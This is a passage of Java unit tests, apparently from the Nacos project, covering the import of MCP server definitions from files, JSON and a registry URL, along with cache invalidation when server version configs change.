 String emptyFileData = \"[]\";\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"file\");\n        request.setData(emptyFileData);\n\n        List<McpServerDetailInfo> result = adaptor.adaptExternalDataToNacosMcpServerFormat(request);\n\n        assertNotNull(result);\n        assertTrue(result.isEmpty());\n    }\n\n    @Test\n    @DisplayName(\"Should throw exception for invalid seed file JSON\")\n    void testAdaptInvalidSeedFileJson() throws Exception {\n        String invalidJson = \"[{invalid json}]\";\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"file\");\n        request.setData(invalidJson);\n\n        assertThrows(Exception.class, () -> adaptor.adaptExternalDataToNacosMcpServerFormat(request));\n    }\n\n    // ==================== JSON TYPE IMPORT TESTS ====================\n\n    @Test\n    @DisplayName(\"Should adapt valid single server JSON to server list\")\n    void testAdaptValidServerJson() throws Exception {\n        String serverJson = \"\"\"\n            {\n              \"name\": \"ai.alpic.test/test-mcp-server\",\n              \"description\": \"Alpic Test MCP Server - great server!\",\n              \"version\": \"0.0.1\",\n              \"repository\": {},\n              \"remotes\": [\n                {\n                  \"type\": \"streamable-http\",\n                  \"url\": \"https://test.alpic.ai/\"\n                }\n              ]\n            }\n            \"\"\";\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"json\");\n        request.setData(serverJson);\n\n        List<McpServerDetailInfo> result = adaptor.adaptExternalDataToNacosMcpServerFormat(request);\n\n        assertNotNull(result);\n        assertEquals(1, result.size());\n        assertEquals(\"ai.alpic.test/test-mcp-server\", result.get(0).getName());\n        assertNotNull(result.get(0).getRemoteServerConfig());\n    }\n\n    @Test\n    @DisplayName(\"Should adapt JSON with packages (stdio protocol)\")\n    void testAdaptJsonWithPackages() throws Exception {\n        String serverJson = \"\"\"\n            {\n              \"name\": \"ai.aliengiraffe/spotdb\",\n              \"description\": \"Ephemeral data sandbox\",\n              \"version\": \"0.1.0\",\n              \"repository\": {},\n              \"packages\": [\n                {\n                  \"registryType\": \"oci\",\n                  \"identifier\": \"docker.io/aliengiraffe/spotdb:0.1.0\",\n                  \"transport\": {\n                    \"type\": \"stdio\"\n                  }\n                }\n              ]\n            }\n            \"\"\";\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"json\");\n        request.setData(serverJson);\n\n        List<McpServerDetailInfo> result = adaptor.adaptExternalDataToNacosMcpServerFormat(request);\n\n        assertNotNull(result);\n        assertEquals(1, result.size());\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_STDIO, result.get(0).getProtocol());\n    }\n\n    @Test\n    @DisplayName(\"Should handle JSON without remotes and packages\")\n    void testAdaptJsonWithoutRemotes() throws Exception {\n        String serverJson = \"\"\"\n            {\n              \"name\": \"minimal-server\",\n              \"description\": \"Minimal\",\n              \"version\": \"1.0.0\",\n              \"repository\": {}\n            }\n            \"\"\";\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"json\");\n        request.setData(serverJson);\n\n        List<McpServerDetailInfo> result = adaptor.adaptExternalDataToNacosMcpServerFormat(request);\n\n        assertNotNull(result);\n        assertEquals(1, result.size());\n        assertEquals(\"minimal-server\", result.get(0).getName());\n        assertNull(result.get(0).getProtocol());\n    }\n\n    @Test\n    @DisplayName(\"Should throw exception for invalid JSON format\")\n    void testAdaptInvalidServerJson() throws Exception {\n        String invalidJson = \"{invalid: json}\";\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"json\");\n        request.setData(invalidJson);\n\n        assertThrows(Exception.class, () -> adaptor.adaptExternalDataToNacosMcpServerFormat(request));\n    }\n\n    @Test\n    @DisplayName(\"Should throw exception for empty JSON\")\n    void testAdaptEmptyJson() throws Exception {\n        String emptyJson = \"\";\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"json\");\n        request.setData(emptyJson);\n\n        assertThrows(Exception.class, () -> adaptor.adaptExternalDataToNacosMcpServerFormat(request));\n    }\n\n    // ==================== URL TYPE IMPORT TESTS ====================\n\n    @Test\n    @DisplayName(\"Should adapt valid URL response with single page\")\n    void testAdaptValidUrlResponse() throws Exception {\n        String mockResponse = \"\"\"\n            {\n              \"servers\": [\n                {\n                  \"server\": {\n                    \"name\": \"ai.aliengiraffe/spotdb\",\n                    \"description\": \"Ephemeral data sandbox\",\n                    \"version\": \"0.1.0\",\n                    \"repository\": {\n                      \"url\": \"https://github.com/aliengiraffe/spotdb\"\n                    },\n                    \"packages\": [\n                      {\n                        \"registryType\": \"oci\",\n                        \"identifier\": \"docker.io/aliengiraffe/spotdb:0.1.0\",\n                        \"transport\": {\n                          \"type\": \"stdio\"\n                        }\n                      }\n                    ]\n                  },\n                  \"_meta\": {\n                    \"io.modelcontextprotocol.registry/official\": {\n                      \"status\": \"active\",\n                      \"publishedAt\": \"2025-10-09T17:05:17.793149Z\",\n                      \"updatedAt\": \"2025-10-09T17:05:17.793149Z\",\n                      \"isLatest\": true\n                    }\n                  }\n                }\n              ],\n              \"metadata\": {\n                \"nextCursor\": null,\n                \"count\": 1\n              }\n            }\n            \"\"\";\n\n        setupHttpClientMock(200, mockResponse);\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"url\");\n        request.setData(\"https://registry.modelcontextprotocol.io/search\");\n\n        List<McpServerDetailInfo> result = adaptor.adaptExternalDataToNacosMcpServerFormat(request);\n\n        assertNotNull(result);\n        assertFalse(result.isEmpty());\n        assertEquals(\"ai.aliengiraffe/spotdb\", result.get(0).getName());\n    }\n\n    @Test\n    @DisplayName(\"Should handle pagination with cursor\")\n    void testAdaptUrlResponseWithPagination() throws Exception {\n        String firstPageResponse = \"\"\"\n            {\n              \"servers\": [\n                {\n                  \"server\": {\n                    \"name\": \"server1\",\n                    \"version\": \"0.1.0\",\n                    \"repository\": {},\n                    \"remotes\": [\n                      {\n                        \"type\": \"streamable-http\",\n                        \"url\": \"https://test1.com/\"\n                      }\n                    ]\n                  },\n                  \"_meta\": {\n                    \"io.modelcontextprotocol.registry/official\": {\n                      \"status\": \"active\",\n                      \"publishedAt\": \"2025-10-09T17:05:17.793149Z\",\n                      \"updatedAt\": \"2025-10-09T17:05:17.793149Z\",\n                      \"isLatest\": true\n                    }\n                  }\n                }\n              ],\n              \"metadata\": {\n                \"nextCursor\": \"cursor_page2\",\n                \"count\": 1\n              }\n            }\n            \"\"\";\n\n        String secondPageResponse = \"\"\"\n            {\n              \"servers\": [\n                {\n                  \"server\": {\n                    \"name\": \"server2\",\n                    \"version\": \"0.2.0\",\n                    \"repository\": {},\n                    \"remotes\": [\n                      {\n                        \"type\": \"streamable-http\",\n                        \"url\": \"https://test2.com/\"\n                      }\n                    ]\n                  },\n                  \"_meta\": {\n                    \"io.modelcontextprotocol.registry/official\": {\n                      \"status\": \"active\",\n                      \"publishedAt\": \"2025-10-09T17:05:17.793149Z\",\n                      \"updatedAt\": \"2025-10-09T17:05:17.793149Z\",\n                      \"isLatest\": true\n                    }\n                  }\n                }\n              ],\n              \"metadata\": {\n                \"nextCursor\": null,\n                \"count\": 1\n              }\n            }\n            \"\"\";\n\n        setupHttpClientMockForPagination(firstPageResponse, secondPageResponse);\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"url\");\n        request.setData(\"https://registry.modelcontextprotocol.io/search\");\n        request.setLimit(-1); // Fetch all pages\n\n        List<McpServerDetailInfo> result = adaptor.adaptExternalDataToNacosMcpServerFormat(request);\n\n        // Should have servers from both pages\n        assertNotNull(result);\n        assertTrue(result.size() >= 1);\n    }\n\n    @Test\n    @DisplayName(\"Should handle URL with search parameter\")\n    void testAdaptUrlWithSearchParameter() throws Exception {\n        String mockResponse = \"\"\"\n            {\n              \"servers\": [],\n              \"metadata\": {\n                \"nextCursor\": null,\n                \"count\": 0\n              }\n            }\n            \"\"\";\n\n        setupHttpClientMock(200, mockResponse);\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"url\");\n        request.setData(\"https://registry.modelcontextprotocol.io/search\");\n        request.setSearch(\"spotdb\");\n\n        List<McpServerDetailInfo> result = adaptor.adaptExternalDataToNacosMcpServerFormat(request);\n\n        assertNotNull(result);\n        assertTrue(result.isEmpty());\n    }\n\n    @Test\n    @DisplayName(\"Should handle URL with explicit limit parameter\")\n    void testAdaptUrlWithLimitParameter() throws Exception {\n        String mockResponse = \"\"\"\n            {\n              \"servers\": [\n                {\n                  \"server\": {\n                    \"name\": \"server1\",\n                    \"version\": \"0.1.0\",\n                    \"repository\": {}\n                  },\n                  \"_meta\": {\n                    \"io.modelcontextprotocol.registry/official\": {\n                      \"status\": \"active\",\n                      \"publishedAt\": \"2025-10-09T17:05:17.793149Z\",\n                      \"updatedAt\": \"2025-10-09T17:05:17.793149Z\",\n                      \"isLatest\": true\n                    }\n                  }\n                }\n              ],\n              \"metadata\": {\n                \"nextCursor\": null,\n                \"count\": 1\n              }\n            }\n            \"\"\";\n\n        setupHttpClientMock(200, mockResponse);\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"url\");\n        request.setData(\"https://registry.modelcontextprotocol.io/search\");\n        request.setLimit(10);\n\n        List<McpServerDetailInfo> result = adaptor.adaptExternalDataToNacosMcpServerFormat(request);\n\n        assertNotNull(result);\n    }\n\n    @Test\n    @DisplayName(\"Should throw exception for HTTP 404 error\")\n    void testAdaptUrlWith404Error() throws Exception {\n        setupHttpClientMock(404, \"Not Found\");\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"url\");\n        request.setData(\"https://registry.modelcontextprotocol.io/notfound\");\n\n        assertThrows(Exception.class, () -> adaptor.adaptExternalDataToNacosMcpServerFormat(request));\n    }\n\n    @Test\n    @DisplayName(\"Should throw exception for HTTP 500 error\")\n    void testAdaptUrlWith500Error() throws Exception {\n        setupHttpClientMock(500, \"Internal Server Error\");\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"url\");\n        request.setData(\"https://registry.modelcontextprotocol.io/search\");\n\n        assertThrows(Exception.class, () -> adaptor.adaptExternalDataToNacosMcpServerFormat(request));\n    }\n\n    @Test\n    @DisplayName(\"Should throw exception for invalid response JSON\")\n    void testAdaptUrlWithInvalidResponseJson() throws Exception {\n        setupHttpClientMock(200, \"{invalid json}\");\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"url\");\n        request.setData(\"https://registry.modelcontextprotocol.io/search\");\n\n        assertThrows(Exception.class, () -> adaptor.adaptExternalDataToNacosMcpServerFormat(request));\n    }\n\n    // ==================== BOUNDARY & EXCEPTION TESTS ====================\n\n    @Test\n    @DisplayName(\"Should throw exception for blank URL\")\n    void testAdaptBlankUrl() throws Exception {\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"url\");\n        request.setData(\"   \");\n\n        assertThrows(Exception.class, () -> adaptor.adaptExternalDataToNacosMcpServerFormat(request));\n    }\n\n    @Test\n    @DisplayName(\"Should throw exception for null data\")\n    void testAdaptNullData() throws Exception {\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"json\");\n        request.setData(null);\n\n        assertThrows(Exception.class, () -> adaptor.adaptExternalDataToNacosMcpServerFormat(request));\n    }\n\n    @Test\n    @DisplayName(\"Should throw exception for unsupported import type\")\n    void testAdaptUnsupportedImportType() throws Exception {\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"unsupported\");\n        request.setData(\"{\\\"name\\\":\\\"test\\\"}\");\n\n        assertThrows(Exception.class, () -> adaptor.adaptExternalDataToNacosMcpServerFormat(request));\n    }\n\n    @Test\n    @DisplayName(\"Should handle JSON with multiple remotes of different types\")\n    void testAdaptJsonWithMultipleRemotes() throws Exception {\n        String serverJson = \"\"\"\n            {\n              \"name\": \"multi-remote-server\",\n              \"description\": \"Server with multiple remotes\",\n              \"version\": \"1.0.0\",\n              \"repository\": {},\n              \"remotes\": [\n                {\n                  \"type\": \"streamable-http\",\n                  \"url\": \"https://remote1.com:8080/path1\"\n                },\n                {\n                  \"type\": \"sse\",\n                  \"url\": \"https://remote2.com/path2\"\n                }\n              ]\n            }\n            \"\"\";\n\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"json\");\n        request.setData(serverJson);\n\n        List<McpServerDetailInfo> result = adaptor.adaptExternalDataToNacosMcpServerFormat(request);\n\n        assertNotNull(result);\n        assertEquals(1, result.size());\n        assertNotNull(result.get(0).getRemoteServerConfig());\n        assertEquals(2, result.get(0).getRemoteServerConfig().getFrontEndpointConfigList().size());\n    }\n\n    @Test\n    @DisplayName(\"Should generate consistent IDs for same server name\")\n    void testConsistentIdGeneration() throws Exception {\n        String serverJson = \"\"\"\n            {\n              \"name\": \"consistent-server\",\n              \"description\": \"Test\",\n              \"version\": \"1.0.0\",\n              \"repository\": {}\n            }\n            \"\"\";\n\n        McpServerImportRequest request1 = new McpServerImportRequest();\n        request1.setImportType(\"json\");\n        request1.setData(serverJson);\n\n        McpServerImportRequest request2 = new McpServerImportRequest();\n        request2.setImportType(\"json\");\n        request2.setData(serverJson);\n\n        List<McpServerDetailInfo> result1 = adaptor.adaptExternalDataToNacosMcpServerFormat(request1);\n        List<McpServerDetailInfo> result2 = adaptor.adaptExternalDataToNacosMcpServerFormat(request2);\n\n        assertEquals(result1.get(0).getId(), result2.get(0).getId());\n    }\n\n    // ==================== HELPER METHODS ====================\n\n    private void setupHttpClientMock(int statusCode, String responseBody) throws Exception {\n        @SuppressWarnings(\"unchecked\")\n        HttpResponse<String> mockResponse = mock(HttpResponse.class);\n        when(mockResponse.statusCode()).thenReturn(statusCode);\n        when(mockResponse.body()).thenReturn(responseBody);\n\n        when(mockHttpClient.send(any(HttpRequest.class), any(HttpResponse.BodyHandler.class)))\n                .thenReturn(mockResponse);\n\n        adaptor.setHttpClient(mockHttpClient);\n    }\n\n    private void setupHttpClientMockForPagination(String firstPage, String secondPage) throws Exception {\n        @SuppressWarnings(\"unchecked\")\n        HttpResponse<String> mockResponse1 = mock(HttpResponse.class);\n        when(mockResponse1.statusCode()).thenReturn(200);\n        when(mockResponse1.body()).thenReturn(firstPage);\n\n        @SuppressWarnings(\"unchecked\")\n        HttpResponse<String> mockResponse2 = mock(HttpResponse.class);\n        when(mockResponse2.statusCode()).thenReturn(200);\n        when(mockResponse2.body()).thenReturn(secondPage);\n\n        when(mockHttpClient.send(any(HttpRequest.class), any(HttpResponse.BodyHandler.class)))\n                .thenReturn(mockResponse1)\n                .thenReturn(mockResponse2);\n\n        adaptor.setHttpClient(mockHttpClient);\n    }\n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/McpServerCacheInvalidateServiceTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.index.McpServerIndex;\nimport com.alibaba.nacos.config.server.model.event.LocalDataChangeEvent;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\n\n/**\n * Unit test for McpServerCacheInvalidateService.\n *\n * @author xinluo\n */\n@ExtendWith(MockitoExtension.class)\nclass McpServerCacheInvalidateServiceTest {\n\n    @Mock\n    private McpServerIndex mcpServerIndex;\n\n    private McpServerCacheInvalidateService service;\n\n    private static final String TEST_NAMESPACE = \"test-namespace\";\n\n    private static final String TEST_SERVER_ID = \"test-server-id\";\n\n    private static final String TEST_DATAID_VERSION = TEST_SERVER_ID + Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX;\n\n    private static final String TEST_GROUP_KEY_VERSION = GroupKey.getKey(TEST_DATAID_VERSION, Constants.MCP_SERVER_VERSIONS_GROUP, TEST_NAMESPACE);\n\n    @BeforeEach\n    void setUp() {\n        service = new McpServerCacheInvalidateService(mcpServerIndex);\n    }\n\n    @AfterEach\n    void tearDown() {\n        service = null;\n    }\n\n    /**\n     * Test handling MCP server version config change event successfully.\n     */\n    @Test\n    void testHandleMcpServerVersionConfigChangeEvent() {\n        // Given: MCP server version config change event\n        LocalDataChangeEvent event = new LocalDataChangeEvent(TEST_GROUP_KEY_VERSION);\n\n        // When: handle the event\n        service.handleConfigDataChangeEvent(event);\n\n        // Then: cache should be invalidated\n        verify(mcpServerIndex, times(1)).removeMcpServerById(eq(TEST_SERVER_ID));\n    }\n\n    /**\n     * Test handling non-MCP server config change event (should be ignored).\n     */\n    @Test\n    void testHandleNonMcpServerConfigChangeEvent() {\n        // Given: non-MCP server config change event\n        String groupKey = GroupKey.getKey(\"some-data-id\", \"some-group\", TEST_NAMESPACE);\n        LocalDataChangeEvent event = new LocalDataChangeEvent(groupKey);\n\n        // When: handle the event\n        service.handleConfigDataChangeEvent(event);\n\n        // Then: cache should NOT be invalidated\n        verify(mcpServerIndex, never()).removeMcpServerById(anyString());\n    }\n\n    /**\n     * Test handling MCP server group config (should be ignored after simplification).\n     */\n    @Test\n    void testHandleMcpServerGroupConfig() {\n        // Given: MCP server group config change event\n        String dataId = TEST_SERVER_ID + \"-v1.0.0\" + Constants.MCP_SERVER_SPEC_DATA_ID_SUFFIX;\n        String groupKey = GroupKey.getKey(dataId, Constants.MCP_SERVER_GROUP, TEST_NAMESPACE);\n        LocalDataChangeEvent event = new LocalDataChangeEvent(groupKey);\n\n        // When: handle the event\n        service.handleConfigDataChangeEvent(event);\n\n        // Then: cache should NOT be invalidated (only version group is monitored)\n        verify(mcpServerIndex, never()).removeMcpServerById(anyString());\n    }\n\n    /**\n     * Test handling MCP tools group config (should be ignored after simplification).\n     */\n    @Test\n    void testHandleMcpToolsGroupConfig() {\n        // Given: MCP tools group config change event\n        String dataId = TEST_SERVER_ID + \"-v1.0.0\" + Constants.MCP_SERVER_TOOL_DATA_ID_SUFFIX;\n        String groupKey = GroupKey.getKey(dataId, Constants.MCP_SERVER_TOOL_GROUP, TEST_NAMESPACE);\n        LocalDataChangeEvent event = new LocalDataChangeEvent(groupKey);\n\n        // When: handle the event\n        service.handleConfigDataChangeEvent(event);\n\n        // Then: cache should NOT be invalidated (only version group is monitored)\n        verify(mcpServerIndex, never()).removeMcpServerById(anyString());\n    }\n\n    /**\n     * Test handling non-LocalDataChangeEvent (should be ignored).\n     */\n    @Test\n    void testHandleNonLocalDataChangeEvent() {\n        // Given: non-LocalDataChangeEvent - create a LocalDataChangeEvent with non-MCP group\n        String groupKey = GroupKey.getKey(\"some-data-id\", \"some-group\", TEST_NAMESPACE);\n        LocalDataChangeEvent event = new LocalDataChangeEvent(groupKey);\n\n        // When: handle the event\n        service.handleConfigDataChangeEvent(event);\n\n        // Then: cache should NOT be invalidated\n        verify(mcpServerIndex, never()).removeMcpServerById(anyString());\n    }\n\n    /**\n     * Test handling event with invalid dataId format (missing suffix).\n     */\n    @Test\n    void testHandleEventWithInvalidDataIdFormat() {\n        // Given: event with invalid dataId (missing suffix)\n        String groupKey = GroupKey.getKey(\"invalid-data-id\", Constants.MCP_SERVER_VERSIONS_GROUP, TEST_NAMESPACE);\n        LocalDataChangeEvent event = new LocalDataChangeEvent(groupKey);\n\n        // When: handle the event\n        service.handleConfigDataChangeEvent(event);\n\n        // Then: cache should NOT be invalidated\n        verify(mcpServerIndex, never()).removeMcpServerById(anyString());\n    }\n\n    /**\n     * Test handling event with empty dataId.\n     */\n    @Test\n    void testHandleEventWithEmptyDataId() {\n        // Given: event with empty dataId\n        String groupKey = GroupKey.getKey(\"\", Constants.MCP_SERVER_VERSIONS_GROUP, TEST_NAMESPACE);\n        LocalDataChangeEvent event = new LocalDataChangeEvent(groupKey);\n\n        // When: handle the event\n        service.handleConfigDataChangeEvent(event);\n\n        // Then: cache should NOT be invalidated\n        verify(mcpServerIndex, never()).removeMcpServerById(anyString());\n    }\n\n    /**\n     * Test handling event when cache invalidation throws exception.\n     * Exception should be caught and logged, not propagated.\n     */\n    @Test\n    void testHandleEventWhenCacheInvalidationThrowsException() {\n        // Given: MCP server version config change event and cache invalidation will throw exception\n        LocalDataChangeEvent event = new LocalDataChangeEvent(TEST_GROUP_KEY_VERSION);\n\n        doThrow(new RuntimeException(\"Cache invalidation failed\")).when(mcpServerIndex)\n                .removeMcpServerById(eq(TEST_SERVER_ID));\n\n        // When: handle the event (should not throw exception)\n        service.handleConfigDataChangeEvent(event);\n\n        // Then: removeMcpServerById should still be called\n        verify(mcpServerIndex, times(1)).removeMcpServerById(eq(TEST_SERVER_ID));\n    }\n\n    /**\n     * Test handling multiple events in sequence.\n     */\n    @Test\n    void testHandleMultipleEvents() {\n        // Given: multiple MCP server version config change events\n        String serverId1 = \"server-1\";\n        String serverId2 = \"server-2\";\n        String dataId1 = serverId1 + Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX;\n        String dataId2 = serverId2 + Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX;\n\n        String groupKey1 = GroupKey.getKey(dataId1, Constants.MCP_SERVER_VERSIONS_GROUP, TEST_NAMESPACE);\n        String groupKey2 = GroupKey.getKey(dataId2, Constants.MCP_SERVER_VERSIONS_GROUP, TEST_NAMESPACE);\n\n        LocalDataChangeEvent event1 = new LocalDataChangeEvent(groupKey1);\n        LocalDataChangeEvent event2 = new LocalDataChangeEvent(groupKey2);\n\n        // When: handle both events\n        service.handleConfigDataChangeEvent(event1);\n        service.handleConfigDataChangeEvent(event2);\n\n        // Then: cache should be invalidated for both servers\n        verify(mcpServerIndex, times(1)).removeMcpServerById(eq(serverId1));\n        verify(mcpServerIndex, times(1)).removeMcpServerById(eq(serverId2));\n    }\n\n    /**\n     * Test handling same event multiple times (idempotent).\n     */\n    @Test\n    void testHandleSameEventMultipleTimes() {\n        // Given: same MCP server version config change event\n        LocalDataChangeEvent event = new LocalDataChangeEvent(TEST_GROUP_KEY_VERSION);\n\n        // When: handle the same event twice\n        service.handleConfigDataChangeEvent(event);\n        service.handleConfigDataChangeEvent(event);\n\n        // Then: cache invalidation should be called twice (idempotent operation)\n        verify(mcpServerIndex, times(2)).removeMcpServerById(eq(TEST_SERVER_ID));\n    }\n\n    /**\n     * Test extracting server ID with different namespace.\n     */\n    @Test\n    void testHandleEventWithDifferentNamespace() {\n        // Given: MCP server version config change event with different namespace\n        String differentNamespace = \"different-namespace\";\n        String groupKey = GroupKey.getKey(TEST_DATAID_VERSION, Constants.MCP_SERVER_VERSIONS_GROUP, differentNamespace);\n        LocalDataChangeEvent event = new LocalDataChangeEvent(groupKey);\n\n        // When: handle the event\n        service.handleConfigDataChangeEvent(event);\n\n        // Then: cache should be invalidated regardless of namespace\n        verify(mcpServerIndex, times(1)).removeMcpServerById(eq(TEST_SERVER_ID));\n    }\n\n    /**\n     * Test handling event with special characters in server ID.\n     */\n    @Test\n    void testHandleEventWithSpecialCharactersInServerId() {\n        // Given: server ID with special characters\n        String specialServerId = \"test-server_123.abc\";\n        String dataId = specialServerId + Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX;\n        String groupKey = GroupKey.getKey(dataId, Constants.MCP_SERVER_VERSIONS_GROUP, TEST_NAMESPACE);\n        LocalDataChangeEvent event = new LocalDataChangeEvent(groupKey);\n\n        // When: handle the event\n        service.handleConfigDataChangeEvent(event);\n\n        // Then: cache should be invalidated with correct server ID\n        verify(mcpServerIndex, times(1)).removeMcpServerById(eq(specialServerId));\n    }\n\n    /**\n     * Test handling event with empty namespace (default namespace).\n     */\n    @Test\n    void testHandleEventWithEmptyNamespace() {\n        // Given: MCP server version config change event with empty namespace\n        String groupKey = GroupKey.getKey(TEST_DATAID_VERSION, Constants.MCP_SERVER_VERSIONS_GROUP, \"\");\n        LocalDataChangeEvent event = new LocalDataChangeEvent(groupKey);\n\n        // When: handle the event\n        service.handleConfigDataChangeEvent(event);\n\n        // Then: cache should be invalidated\n        verify(mcpServerIndex, times(1)).removeMcpServerById(eq(TEST_SERVER_ID));\n    }\n\n    /**\n     * Test handling event with null namespace (default namespace).\n     */\n    @Test\n    void testHandleEventWithNullNamespace() {\n        // Given: MCP server version config change event with null namespace\n        String groupKey = GroupKey.getKey(TEST_DATAID_VERSION, Constants.MCP_SERVER_VERSIONS_GROUP);\n        LocalDataChangeEvent event = new LocalDataChangeEvent(groupKey);\n\n        // When: handle the event\n        service.handleConfigDataChangeEvent(event);\n\n        // Then: cache should be invalidated\n        verify(mcpServerIndex, times(1)).removeMcpServerById(eq(TEST_SERVER_ID));\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/McpServerImportServiceTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.ai.constant.McpServerValidationConstants;\nimport com.alibaba.nacos.ai.index.McpCacheIndex;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.FrontEndpointConfig;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportRequest;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportResponse;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportValidationResult;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerRemoteServiceConfig;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerValidationItem;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyBoolean;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n/**\n * Unit tests for McpServerImportService.\n *\n * @author WangzJi\n */\n@ExtendWith(MockitoExtension.class)\nclass McpServerImportServiceTest {\n\n    @Mock\n    private McpExternalDataAdaptor transformService;\n\n    @Mock\n    private McpServerValidationService validationService;\n\n    @Mock\n    private McpServerOperationService operationService;\n\n    @Mock\n    private McpCacheIndex mcpCacheIndex;\n\n    private McpServerImportService importService;\n\n    @BeforeEach\n    void setUp() {\n        importService = new McpServerImportService(transformService, validationService, operationService, mcpCacheIndex);\n    }\n\n    @Test\n    void testValidateImportSuccess() throws Exception {\n        // Given\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setData(\"{\\\"servers\\\":[]}\");\n        request.setImportType(\"json\");\n\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n        when(transformService.adaptExternalDataToNacosMcpServerFormat(any()))\n                .thenReturn(servers);\n\n        McpServerImportValidationResult validationResult = new McpServerImportValidationResult();\n        validationResult.setValid(true);\n        when(validationService.validateServers(anyString(), any())).thenReturn(validationResult);\n\n        // When\n        McpServerImportValidationResult result = importService.validateImport(\"test-namespace\", request);\n\n        // Then\n        assertNotNull(result);\n        assertTrue(result.isValid());\n    }\n\n    @Test\n    void testValidateImportTransformationFailure() throws Exception {\n        // Given\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setData(\"invalid-json\");\n        request.setImportType(\"json\");\n\n        when(transformService.adaptExternalDataToNacosMcpServerFormat(any()))\n                .thenThrow(new RuntimeException(\"Invalid JSON format\"));\n\n        // When\n        McpServerImportValidationResult result = importService.validateImport(\"test-namespace\", request);\n\n        // Then\n        assertNotNull(result);\n        assertFalse(result.isValid());\n        assertNotNull(result.getErrors());\n        assertFalse(result.getErrors().isEmpty());\n        assertTrue(result.getErrors().get(0).contains(\"Import validation failed\"));\n    }\n\n    @Test\n    void testExecuteImportValidationFailure() throws Exception {\n        // Given\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setData(\"invalid-data\");\n        request.setImportType(\"json\");\n\n        when(transformService.adaptExternalDataToNacosMcpServerFormat(any()))\n    